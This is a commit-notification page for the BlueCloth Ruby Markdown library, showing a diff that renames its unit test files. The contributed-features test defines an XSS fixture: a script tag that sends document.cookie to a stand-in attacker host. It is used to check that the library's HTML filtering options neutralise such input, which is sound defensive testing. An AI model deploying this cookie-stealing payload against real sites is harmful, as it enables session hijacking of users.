| CODENOTIFIER | HelpYou are not signed inSign in |
Project: BlueCloth
Revision: 76
Author: ged
Date: 12 May 2005 17:31:59
Diff at Trac: http://www.deveiate.org/projects/BlueCloth/changeset/76
Changes:- Renamed tests without goofy numbers.
Files:| ... | ...@@ -1,109 +0,0 @@ | |
| 1 | #!/usr/bin/ruby | |
| 2 | # | |
| 3 | # Unit test for bugs found in BlueCloth | |
| 4 | # $Id$ | |
| 5 | # | |
| 6 | # Copyright (c) 2004, 2005 The FaerieMUD Consortium. | |
| 7 | # | |
| 8 | ||
| 9 | if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase ) | |
| 10 | basedir = File::dirname( __FILE__ ) | |
| 11 | require File::join( basedir, 'bctestcase' ) | |
| 12 | end | |
| 13 | ||
| 14 | ||
| 15 | require 'timeout' | |
| 16 | ||
| 17 | ### This test case tests ... | |
| 18 | class BugsTestCase < BlueCloth::TestCase | |
| 19 | BaseDir = File::dirname( File::dirname(File::expand_path( __FILE__ )) ) | |
| 20 | ||
| 21 | ### Test to be sure the README file can be transformed. | |
| 22 | def test_00_slow_block_regex | |
| 23 | contents = File::read( File::join(BaseDir,"README") ) | |
| 24 | bcobj = BlueCloth::new( contents ) | |
| 25 | ||
| 26 | assert_nothing_raised { | |
| 27 | timeout( 2 ) do | |
| 28 | bcobj.to_html | |
| 29 | end | |
| 30 | } | |
| 31 | end | |
| 32 | ||
| 33 | ### :TODO: Add more documents and test their transforms. | |
| 34 | ||
| 35 | def test_10_regexp_engine_overflow_bug | |
| 36 | contents = File::read( File::join(BaseDir,"tests/data/re-overflow.txt") ) | |
| 37 | bcobj = BlueCloth::new( contents ) | |
| 38 | ||
| 39 | assert_nothing_raised { | |
| 40 | bcobj.to_html | |
| 41 | } | |
| 42 | end | |
| 43 | ||
| 44 | def test_15_regexp_engine_overflow_bug2 | |
| 45 | contents = File::read( File::join(BaseDir,"tests/data/re-overflow2.txt") ) | |
| 46 | bcobj = BlueCloth::new( contents ) | |
| 47 | ||
| 48 | assert_nothing_raised { | |
| 49 | bcobj.to_html | |
| 50 | } | |
| 51 | end | |
| 52 | ||
| 53 | def test_20_two_character_bold_asterisks | |
| 54 | html = nil | |
| 55 | str = BlueCloth::new( "**aa**" ) | |
| 56 | assert_nothing_raised do | |
| 57 | html = str.to_html | |
| 58 | end | |
| 59 | ||
| 60 | assert_equal "<p><strong>aa</strong></p>", html | |
| 61 | end | |
| 62 | ||
| 63 | def test_21_two_character_bold_underscores | |
| 64 | html = nil | |
| 65 | str = BlueCloth::new( "__aa__" ) | |
| 66 | assert_nothing_raised do | |
| 67 | html = str.to_html | |
| 68 | end | |
| 69 | ||
| 70 | assert_equal "<p><strong>aa</strong></p>", html | |
| 71 | end | |
| 72 | ||
| 73 | def test_22_two_character_emphasis_asterisks | |
| 74 | html = nil | |
| 75 | str = BlueCloth::new( "*aa*" ) | |
| 76 | assert_nothing_raised do | |
| 77 | html = str.to_html | |
| 78 | end | |
| 79 | ||
| 80 | assert_equal "<p><em>aa</em></p>", html | |
| 81 | end | |
| 82 | ||
| 83 | def test_23_two_character_emphasis_underscores | |
| 84 | html = nil | |
| 85 | str = BlueCloth::new( "_aa_" ) | |
| 86 | assert_nothing_raised do | |
| 87 | html = str.to_html | |
| 88 | end | |
| 89 | ||
| 90 | assert_equal "<p><em>aa</em></p>", html | |
| 91 | end | |
| 92 | ||
| 93 | def test_24_ruby_with_warnings_enabled_causes_ArgumentError | |
| 94 | oldverbose = $VERBOSE | |
| 95 | ||
| 96 | assert_nothing_raised do | |
| 97 | $VERBOSE = true | |
| 98 | BlueCloth.new( "*woo*" ).to_html | |
| 99 | end | |
| 100 | ensure | |
| 101 | $VERBOSE = oldverbose | |
| 102 | end | |
| 103 | ||
| 104 | ||
| 105 | end | |
| 106 | ||
| 107 | ||
| 108 | __END__ | |
| 109 |
| ... | ...@@ -0,0 +1,109 @@ | |
| 1 | #!/usr/bin/ruby | |
| 2 | # | |
| 3 | # Unit test for bugs found in BlueCloth | |
| 4 | # $Id$ | |
| 5 | # | |
| 6 | # Copyright (c) 2004, 2005 The FaerieMUD Consortium. | |
| 7 | # | |
| 8 | ||
| 9 | if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase ) | |
| 10 | basedir = File::dirname( __FILE__ ) | |
| 11 | require File::join( basedir, 'bctestcase' ) | |
| 12 | end | |
| 13 | ||
| 14 | ||
| 15 | require 'timeout' | |
| 16 | ||
| 17 | ### This test case tests ... | |
| 18 | class BugsTestCase < BlueCloth::TestCase | |
| 19 | BaseDir = File::dirname( File::dirname(File::expand_path( __FILE__ )) ) | |
| 20 | ||
| 21 | ### Test to be sure the README file can be transformed. | |
| 22 | def test_00_slow_block_regex | |
| 23 | contents = File::read( File::join(BaseDir,"README") ) | |
| 24 | bcobj = BlueCloth::new( contents ) | |
| 25 | ||
| 26 | assert_nothing_raised { | |
| 27 | timeout( 2 ) do | |
| 28 | bcobj.to_html | |
| 29 | end | |
| 30 | } | |
| 31 | end | |
| 32 | ||
| 33 | ### :TODO: Add more documents and test their transforms. | |
| 34 | ||
| 35 | def test_10_regexp_engine_overflow_bug | |
| 36 | contents = File::read( File::join(BaseDir,"tests/data/re-overflow.txt") ) | |
| 37 | bcobj = BlueCloth::new( contents ) | |
| 38 | ||
| 39 | assert_nothing_raised { | |
| 40 | bcobj.to_html | |
| 41 | } | |
| 42 | end | |
| 43 | ||
| 44 | def test_15_regexp_engine_overflow_bug2 | |
| 45 | contents = File::read( File::join(BaseDir,"tests/data/re-overflow2.txt") ) | |
| 46 | bcobj = BlueCloth::new( contents ) | |
| 47 | ||
| 48 | assert_nothing_raised { | |
| 49 | bcobj.to_html | |
| 50 | } | |
| 51 | end | |
| 52 | ||
| 53 | def test_20_two_character_bold_asterisks | |
| 54 | html = nil | |
| 55 | str = BlueCloth::new( "**aa**" ) | |
| 56 | assert_nothing_raised do | |
| 57 | html = str.to_html | |
| 58 | end | |
| 59 | ||
| 60 | assert_equal "<p><strong>aa</strong></p>", html | |
| 61 | end | |
| 62 | ||
| 63 | def test_21_two_character_bold_underscores | |
| 64 | html = nil | |
| 65 | str = BlueCloth::new( "__aa__" ) | |
| 66 | assert_nothing_raised do | |
| 67 | html = str.to_html | |
| 68 | end | |
| 69 | ||
| 70 | assert_equal "<p><strong>aa</strong></p>", html | |
| 71 | end | |
| 72 | ||
| 73 | def test_22_two_character_emphasis_asterisks | |
| 74 | html = nil | |
| 75 | str = BlueCloth::new( "*aa*" ) | |
| 76 | assert_nothing_raised do | |
| 77 | html = str.to_html | |
| 78 | end | |
| 79 | ||
| 80 | assert_equal "<p><em>aa</em></p>", html | |
| 81 | end | |
| 82 | ||
| 83 | def test_23_two_character_emphasis_underscores | |
| 84 | html = nil | |
| 85 | str = BlueCloth::new( "_aa_" ) | |
| 86 | assert_nothing_raised do | |
| 87 | html = str.to_html | |
| 88 | end | |
| 89 | ||
| 90 | assert_equal "<p><em>aa</em></p>", html | |
| 91 | end | |
| 92 | ||
| 93 | def test_24_ruby_with_warnings_enabled_causes_ArgumentError | |
| 94 | oldverbose = $VERBOSE | |
| 95 | ||
| 96 | assert_nothing_raised do | |
| 97 | $VERBOSE = true | |
| 98 | BlueCloth.new( "*woo*" ).to_html | |
| 99 | end | |
| 100 | ensure | |
| 101 | $VERBOSE = oldverbose | |
| 102 | end | |
| 103 | ||
| 104 | ||
| 105 | end | |
| 106 | ||
| 107 | ||
| 108 | __END__ | |
| 109 |
| ... | ...@@ -0,0 +1,132 @@ | |
| 1 | #!/usr/bin/ruby | |
| 2 | # | |
| 3 | # Unit test for contributed features | |
| 4 | # $Id: TEMPLATE.rb.tpl,v 1.2 2003/09/11 04:59:51 deveiant Exp $ | |
| 5 | # | |
| 6 | # Copyright (c) 2004 The FaerieMUD Consortium. | |
| 7 | # | |
| 8 | ||
| 9 | if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase ) | |
| 10 | basedir = File::dirname( __FILE__ ) | |
| 11 | require File::join( basedir, 'bctestcase' ) | |
| 12 | end | |
| 13 | ||
| 14 | ||
| 15 | ||
| 16 | ### This test case tests ... | |
| 17 | class ContribTestCase < BlueCloth::TestCase | |
| 18 | ||
| 19 | DangerousHtml = | |
| 20 | "<script>document.location='http://www.hacktehplanet.com" + | |
| 21 | "/cgi-bin/cookie.cgi?' + document.cookie</script>" | |
| 22 | DangerousHtmlOutput = | |
| 23 | "<p><script>document.location='http://www.hacktehplanet.com" + | |
| 24 | "/cgi-bin/cookie.cgi?' + document.cookie</script></p>" | |
| 25 | DangerousStylesOutput = | |
| 26 | "<script>document.location='http://www.hacktehplanet.com" + | |
| 27 | "/cgi-bin/cookie.cgi?' + document.cookie</script>" | |
| 28 | NoLessThanHtml = "Foo is definitely > than bar" | |
| 29 | NoLessThanOutput = "<p>Foo is definitely > than bar</p>" | |
| 30 | ||
| 31 | ||
| 32 | ### HTML filter options contributed by Florian Gross. | |
| 33 | ||
| 34 | ### Test the :filter_html restriction | |
| 35 | def test_10_filter_html | |
| 36 | printTestHeader "filter_html Option" | |
| 37 | rval = bc = nil | |
| 38 | ||
| 39 | # Test as a 1st-level param | |
| 40 | assert_nothing_raised { | |
| 41 | bc = BlueCloth::new( DangerousHtml, :filter_html ) | |
| 42 | } | |
| 43 | assert_instance_of BlueCloth, bc | |
| 44 | ||
| 45 | # Accessors | |
| 46 | assert_nothing_raised { rval = bc.filter_html } | |
| 47 | assert_equal true, rval | |
| 48 | assert_nothing_raised { rval = bc.filter_styles } | |
| 49 | assert_equal nil, rval | |
| 50 | ||
| 51 | # Test rendering with filters on | |
| 52 | assert_nothing_raised { rval = bc.to_html } | |
| 53 | assert_equal DangerousHtmlOutput, rval | |
| 54 | ||
| 55 | # Test setting it in a sub-array | |
| 56 | assert_nothing_raised { | |
| 57 | bc = BlueCloth::new( DangerousHtml, [:filter_html] ) | |
| 58 | } | |
| 59 | assert_instance_of BlueCloth, bc | |
| 60 | ||
| 61 | # Accessors | |
| 62 | assert_nothing_raised { rval = bc.filter_html } | |
| 63 | assert_equal true, rval | |
| 64 | assert_nothing_raised { rval = bc.filter_styles } | |
| 65 | assert_equal nil, rval | |
| 66 | ||
| 67 | # Test rendering with filters on | |
| 68 | assert_nothing_raised { rval = bc.to_html } | |
| 69 | assert_equal DangerousHtmlOutput, rval | |
| 70 | end | |
| 71 | ||
| 72 | ||
| 73 | ### Test the :filter_styles restriction | |
| 74 | def test_20_filter_styles | |
| 75 | printTestHeader "filter_styles Option" | |
| 76 | rval = bc = nil | |
| 77 | ||
| 78 | # Test as a 1st-level param | |
| 79 | assert_nothing_raised { | |
| 80 | bc = BlueCloth::new( DangerousHtml, :filter_styles ) | |
| 81 | } | |
| 82 | assert_instance_of BlueCloth, bc | |
| 83 | ||
| 84 | # Accessors | |
| 85 | assert_nothing_raised { rval = bc.filter_styles } | |
| 86 | assert_equal true, rval | |
| 87 | assert_nothing_raised { rval = bc.filter_html } | |
| 88 | assert_equal nil, rval | |
| 89 | ||
| 90 | # Test rendering with filters on | |
| 91 | assert_nothing_raised { rval = bc.to_html } | |
| 92 | assert_equal DangerousStylesOutput, rval | |
| 93 | ||
| 94 | # Test setting it in a subarray | |
| 95 | assert_nothing_raised { | |
| 96 | bc = BlueCloth::new( DangerousHtml, [:filter_styles] ) | |
| 97 | } | |
| 98 | assert_instance_of BlueCloth, bc | |
| 99 | ||
| 100 | # Accessors | |
| 101 | assert_nothing_raised { rval = bc.filter_styles } | |
| 102 | assert_equal true, rval | |
| 103 | assert_nothing_raised { rval = bc.filter_html } | |
| 104 | assert_equal nil, rval | |
| 105 | ||
| 106 | # Test rendering with filters on | |
| 107 | assert_nothing_raised { rval = bc.to_html } | |
| 108 | assert_equal DangerousStylesOutput, rval | |
| 109 | ||
| 110 | end | |
| 111 | ||
| 112 | ||
| 113 | ### Test to be sure filtering when there's no opening angle brackets doesn't | |
| 114 | ### die. | |
| 115 | def test_30_filter_no_less_than | |
| 116 | printTestHeader "filter without a less-than" | |
| 117 | rval = bc = nil | |
| 118 | ||
| 119 | # Test as a 1st-level param | |
| 120 | assert_nothing_raised { | |
| 121 | bc = BlueCloth::new( NoLessThanHtml, :filter_html ) | |
| 122 | } | |
| 123 | assert_instance_of BlueCloth, bc | |
| 124 | ||
| 125 | assert_nothing_raised { rval = bc.to_html } | |
| 126 | assert_equal NoLessThanOutput, rval | |
| 127 | end | |
| 128 | ||
| 129 | ||
| 130 | ||
| 131 | end | |
| 132 |
| ... | ...@@ -0,0 +1,1685 @@ | |
| 1 | #!/usr/bin/ruby | |
| 2 | # | |
| 3 | # Test case for BlueCloth Markdown transforms. | |
| 4 | # $Id: TEMPLATE.rb.tpl,v 1.2 2003/09/11 04:59:51 deveiant Exp $ | |
| 5 | # | |
| 6 | # Copyright (c) 2004, 2005 The FaerieMUD Consortium. | |
| 7 | # | |
| 8 | ||
| 9 | if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase ) | |
| 10 | basedir = File::dirname( __FILE__ ) | |
| 11 | require File::join( basedir, 'bctestcase' ) | |
| 12 | end | |
| 13 | ||
| 14 | ||
| 15 | ### Test conformance to Markdown syntax specification | |
| 16 | class MarkdownTestCase < BlueCloth::TestCase | |
| 17 | ||
| 18 | ### Test email address output | |
| 19 | Emails = %w[ | |
| 20 | address@example.com | |
| 21 | foo-list-admin@bar.com | |
| 22 | fu@bar.COM | |
| 23 | baz@ruby-lang.org | |
| 24 | foo-tim-bazzle@bar-hop.co.uk | |
| 25 | littlestar@twinkle.twinkle.band.CO.ZA | |
| 26 | ll@lll.lllll.ll | |
| 27 | Ull@Ulll.Ulllll.ll | |
| 28 | UUUU1@UU1.UU1UUU.UU | |
| 29 | l@ll.ll | |
| 30 | Ull.Ullll@llll.ll | |
| 31 | Ulll-Ull.Ulllll@ll.ll | |
| 32 | 1@111.ll | |
| 33 | ] | |
| 34 | # I can't see a way to handle IDNs clearly yet, so these will have to wait. | |
| 35 | # info@ |
| ... | ...@@ -1,71 +0,0 @@ | |
| 1 | #!/usr/bin/ruby | |
| 2 | # | |
| 3 | # Unit test for the BlueCloth class object | |
| 4 | # $Id: TEMPLATE.rb.tpl,v 1.2 2003/09/11 04:59:51 deveiant Exp $ | |
| 5 | # | |
| 6 | # Copyright (c) 2004 The FaerieMUD Consortium. | |
| 7 | # | |
| 8 | ||
| 9 | if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase ) | |
| 10 | basedir = File::dirname( __FILE__ ) | |
| 11 | require File::join( basedir, 'bctestcase' ) | |
| 12 | end | |
| 13 | ||
| 14 | ||
| 15 | ### This test case tests ... | |
| 16 | class BlueClothClassTestCase < BlueCloth::TestCase | |
| 17 | ||
| 18 | TestString = "foo" | |
| 19 | ||
| 20 | def test_00_class_constant | |
| 21 | printTestHeader "BlueCloth: Class Constant" | |
| 22 | ||
| 23 | assert Object::constants.include?( "BlueCloth" ), | |
| 24 | "No BlueCloth constant in Object" | |
| 25 | assert_instance_of Class, BlueCloth | |
| 26 | end | |
| 27 | ||
| 28 | def test_01_instantiation | |
| 29 | printTestHeader "BlueCloth: Instantiation" | |
| 30 | rval = nil | |
| 31 | ||
| 32 | # With no argument... ("") | |
| 33 | assert_nothing_raised { | |
| 34 | rval = BlueCloth::new | |
| 35 | } | |
| 36 | assert_instance_of BlueCloth, rval | |
| 37 | assert_kind_of String, rval | |
| 38 | assert_equal "", rval | |
| 39 | ||
| 40 | # String argument | |
| 41 | assert_nothing_raised { | |
| 42 | rval = BlueCloth::new TestString | |
| 43 | } | |
| 44 | assert_instance_of BlueCloth, rval | |
| 45 | assert_kind_of String, rval | |
| 46 | assert_equal TestString, rval | |
| 47 | ||
| 48 | addSetupBlock { | |
| 49 | debugMsg "Creating a new BlueCloth" | |
| 50 | @obj = BlueCloth::new( TestString ) | |
| 51 | } | |
| 52 | addTeardownBlock { | |
| 53 | @obj = nil | |
| 54 | } | |
| 55 | end | |
| 56 | ||
| 57 | def test_02_duplication | |
| 58 | printTestHeader "BlueCloth: Duplication" | |
| 59 | rval = nil | |
| 60 | ||
| 61 | assert_nothing_raised { | |
| 62 | rval = @obj.dup | |
| 63 | } | |
| 64 | assert_instance_of BlueCloth, rval | |
| 65 | assert_kind_of String, rval | |
| 66 | assert_equal TestString, rval | |
| 67 | end | |
| 68 | ||
| 69 | ||
| 70 | end | |
| 71 |
| ... | ...@@ -1,132 +0,0 @@ | |
| 1 | #!/usr/bin/ruby | |
| 2 | # | |
| 3 | # Unit test for contributed features | |
| 4 | # $Id: TEMPLATE.rb.tpl,v 1.2 2003/09/11 04:59:51 deveiant Exp $ | |
| 5 | # | |
| 6 | # Copyright (c) 2004 The FaerieMUD Consortium. | |
| 7 | # | |
| 8 | ||
| 9 | if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase ) | |
| 10 | basedir = File::dirname( __FILE__ ) | |
| 11 | require File::join( basedir, 'bctestcase' ) | |
| 12 | end | |
| 13 | ||
| 14 | ||
| 15 | ||
| 16 | ### This test case tests ... | |
| 17 | class ContribTestCase < BlueCloth::TestCase | |
| 18 | ||
| 19 | DangerousHtml = | |
| 20 | "<script>document.location='http://www.hacktehplanet.com" + | |
| 21 | "/cgi-bin/cookie.cgi?' + document.cookie</script>" | |
| 22 | DangerousHtmlOutput = | |
| 23 | "<p><script>document.location='http://www.hacktehplanet.com" + | |
| 24 | "/cgi-bin/cookie.cgi?' + document.cookie</script></p>" | |
| 25 | DangerousStylesOutput = | |
| 26 | "<script>document.location='http://www.hacktehplanet.com" + | |
| 27 | "/cgi-bin/cookie.cgi?' + document.cookie</script>" | |
| 28 | NoLessThanHtml = "Foo is definitely > than bar" | |
| 29 | NoLessThanOutput = "<p>Foo is definitely > than bar</p>" | |
| 30 | ||
| 31 | ||
| 32 | ### HTML filter options contributed by Florian Gross. | |
| 33 | ||
| 34 | ### Test the :filter_html restriction | |
| 35 | def test_10_filter_html | |
| 36 | printTestHeader "filter_html Option" | |
| 37 | rval = bc = nil | |
| 38 | ||
| 39 | # Test as a 1st-level param | |
| 40 | assert_nothing_raised { | |
| 41 | bc = BlueCloth::new( DangerousHtml, :filter_html ) | |
| 42 | } | |
| 43 | assert_instance_of BlueCloth, bc | |
| 44 | ||
| 45 | # Accessors | |
| 46 | assert_nothing_raised { rval = bc.filter_html } | |
| 47 | assert_equal true, rval | |
| 48 | assert_nothing_raised { rval = bc.filter_styles } | |
| 49 | assert_equal nil, rval | |
| 50 | ||
| 51 | # Test rendering with filters on | |
| 52 | assert_nothing_raised { rval = bc.to_html } | |
| 53 | assert_equal DangerousHtmlOutput, rval | |
| 54 | ||
| 55 | # Test setting it in a sub-array | |
| 56 | assert_nothing_raised { | |
| 57 | bc = BlueCloth::new( DangerousHtml, [:filter_html] ) | |
| 58 | } | |
| 59 | assert_instance_of BlueCloth, bc | |
| 60 | ||
| 61 | # Accessors | |
| 62 | assert_nothing_raised { rval = bc.filter_html } | |
| 63 | assert_equal true, rval | |
| 64 | assert_nothing_raised { rval = bc.filter_styles } | |
| 65 | assert_equal nil, rval | |
| 66 | ||
| 67 | # Test rendering with filters on | |
| 68 | assert_nothing_raised { rval = bc.to_html } | |
| 69 | assert_equal DangerousHtmlOutput, rval | |
| 70 | end | |
| 71 | ||
| 72 | ||
| 73 | ### Test the :filter_styles restriction | |
| 74 | def test_20_filter_styles | |
| 75 | printTestHeader "filter_styles Option" | |
| 76 | rval = bc = nil | |
| 77 | ||
| 78 | # Test as a 1st-level param | |
| 79 | assert_nothing_raised { | |
| 80 | bc = BlueCloth::new( DangerousHtml, :filter_styles ) | |
| 81 | } | |
| 82 | assert_instance_of BlueCloth, bc | |
| 83 | ||
| 84 | # Accessors | |
| 85 | assert_nothing_raised { rval = bc.filter_styles } | |
| 86 | assert_equal true, rval | |
| 87 | assert_nothing_raised { rval = bc.filter_html } | |
| 88 | assert_equal nil, rval | |
| 89 | ||
| 90 | # Test rendering with filters on | |
| 91 | assert_nothing_raised { rval = bc.to_html } | |
| 92 | assert_equal DangerousStylesOutput, rval | |
| 93 | ||
| 94 | # Test setting it in a subarray | |
| 95 | assert_nothing_raised { | |
| 96 | bc = BlueCloth::new( DangerousHtml, [:filter_styles] ) | |
| 97 | } | |
| 98 | assert_instance_of BlueCloth, bc | |
| 99 | ||
| 100 | # Accessors | |
| 101 | assert_nothing_raised { rval = bc.filter_styles } | |
| 102 | assert_equal true, rval | |
| 103 | assert_nothing_raised { rval = bc.filter_html } | |
| 104 | assert_equal nil, rval | |
| 105 | ||
| 106 | # Test rendering with filters on | |
| 107 | assert_nothing_raised { rval = bc.to_html } | |
| 108 | assert_equal DangerousStylesOutput, rval | |
| 109 | ||
| 110 | end | |
| 111 | ||
| 112 | ||
| 113 | ### Test to be sure filtering when there's no opening angle brackets doesn't | |
| 114 | ### die. | |
| 115 | def test_30_filter_no_less_than | |
| 116 | printTestHeader "filter without a less-than" | |
| 117 | rval = bc = nil | |
| 118 | ||
| 119 | # Test as a 1st-level param | |
| 120 | assert_nothing_raised { | |
| 121 | bc = BlueCloth::new( NoLessThanHtml, :filter_html ) | |
| 122 | } | |
| 123 | assert_instance_of BlueCloth, bc | |
| 124 | ||
| 125 | assert_nothing_raised { rval = bc.to_html } | |
| 126 | assert_equal NoLessThanOutput, rval | |
| 127 | end | |
| 128 | ||
| 129 | ||
| 130 | ||
| 131 | end | |
| 132 |
| ... | ...@@ -0,0 +1,71 @@ | |
| 1 | #!/usr/bin/ruby | |
| 2 | # | |
| 3 | # Unit test for the BlueCloth class object | |
| 4 | # $Id: TEMPLATE.rb.tpl,v 1.2 2003/09/11 04:59:51 deveiant Exp $ | |
| 5 | # | |
| 6 | # Copyright (c) 2004 The FaerieMUD Consortium. | |
| 7 | # | |
| 8 | ||
| 9 | if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase ) | |
| 10 | basedir = File::dirname( __FILE__ ) | |
| 11 | require File::join( basedir, 'bctestcase' ) | |
| 12 | end | |
| 13 | ||
| 14 | ||
| 15 | ### This test case tests ... | |
| 16 | class BlueClothClassTestCase < BlueCloth::TestCase | |
| 17 | ||
| 18 | TestString = "foo" | |
| 19 | ||
| 20 | def test_00_class_constant | |
| 21 | printTestHeader "BlueCloth: Class Constant" | |
| 22 | ||
| 23 | assert Object::constants.include?( "BlueCloth" ), | |
| 24 | "No BlueCloth constant in Object" | |
| 25 | assert_instance_of Class, BlueCloth | |
| 26 | end | |
| 27 | ||
| 28 | def test_01_instantiation | |
| 29 | printTestHeader "BlueCloth: Instantiation" | |
| 30 | rval = nil | |
| 31 | ||
| 32 | # With no argument... ("") | |
| 33 | assert_nothing_raised { | |
| 34 | rval = BlueCloth::new | |
| 35 | } | |
| 36 | assert_instance_of BlueCloth, rval | |
| 37 | assert_kind_of String, rval | |
| 38 | assert_equal "", rval | |
| 39 | ||
| 40 | # String argument | |
| 41 | assert_nothing_raised { | |
| 42 | rval = BlueCloth::new TestString | |
| 43 | } | |
| 44 | assert_instance_of BlueCloth, rval | |
| 45 | assert_kind_of String, rval | |
| 46 | assert_equal TestString, rval | |
| 47 | ||
| 48 | addSetupBlock { | |
| 49 | debugMsg "Creating a new BlueCloth" | |
| 50 | @obj = BlueCloth::new( TestString ) | |
| 51 | } | |
| 52 | addTeardownBlock { | |
| 53 | @obj = nil | |
| 54 | } | |
| 55 | end | |
| 56 | ||
| 57 | def test_02_duplication | |
| 58 | printTestHeader "BlueCloth: Duplication" | |
| 59 | rval = nil | |
| 60 | ||
| 61 | assert_nothing_raised { | |
| 62 | rval = @obj.dup | |
| 63 | } | |
| 64 | assert_instance_of BlueCloth, rval | |
| 65 | assert_kind_of String, rval | |
| 66 | assert_equal TestString, rval | |
| 67 | end | |
| 68 | ||
| 69 | ||
| 70 | end | |
| 71 |
| ... | ...@@ -1,1685 +0,0 @@ | |
| 1 | #!/usr/bin/ruby | |
| 2 | # | |
| 3 | # Test case for BlueCloth Markdown transforms. | |
| 4 | # $Id: TEMPLATE.rb.tpl,v 1.2 2003/09/11 04:59:51 deveiant Exp $ | |
| 5 | # | |
| 6 | # Copyright (c) 2004, 2005 The FaerieMUD Consortium. | |
| 7 | # | |
| 8 | ||
| 9 | if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase ) | |
| 10 | basedir = File::dirname( __FILE__ ) | |
| 11 | require File::join( basedir, 'bctestcase' ) | |
| 12 | end | |
| 13 | ||
| 14 | ||
| 15 | ### Test conformance to Markdown syntax specification | |
| 16 | class MarkdownTestCase < BlueCloth::TestCase | |
| 17 | ||
| 18 | ### Test email address output | |
| 19 | Emails = %w[ | |
| 20 | address@example.com | |
| 21 | foo-list-admin@bar.com | |
| 22 | fu@bar.COM | |
| 23 | baz@ruby-lang.org | |
| 24 | foo-tim-bazzle@bar-hop.co.uk | |
| 25 | littlestar@twinkle.twinkle.band.CO.ZA | |
| 26 | ll@lll.lllll.ll | |
| 27 | Ull@Ulll.Ulllll.ll | |
| 28 | UUUU1@UU1.UU1UUU.UU | |
| 29 | l@ll.ll | |
| 30 | Ull.Ullll@llll.ll | |
| 31 | Ulll-Ull.Ulllll@ll.ll | |
| 32 | 1@111.ll | |
| 33 | ] | |
| 34 | # I can't see a way to handle IDNs clearly yet, so these will have to wait. | |
| 35 | # info@ |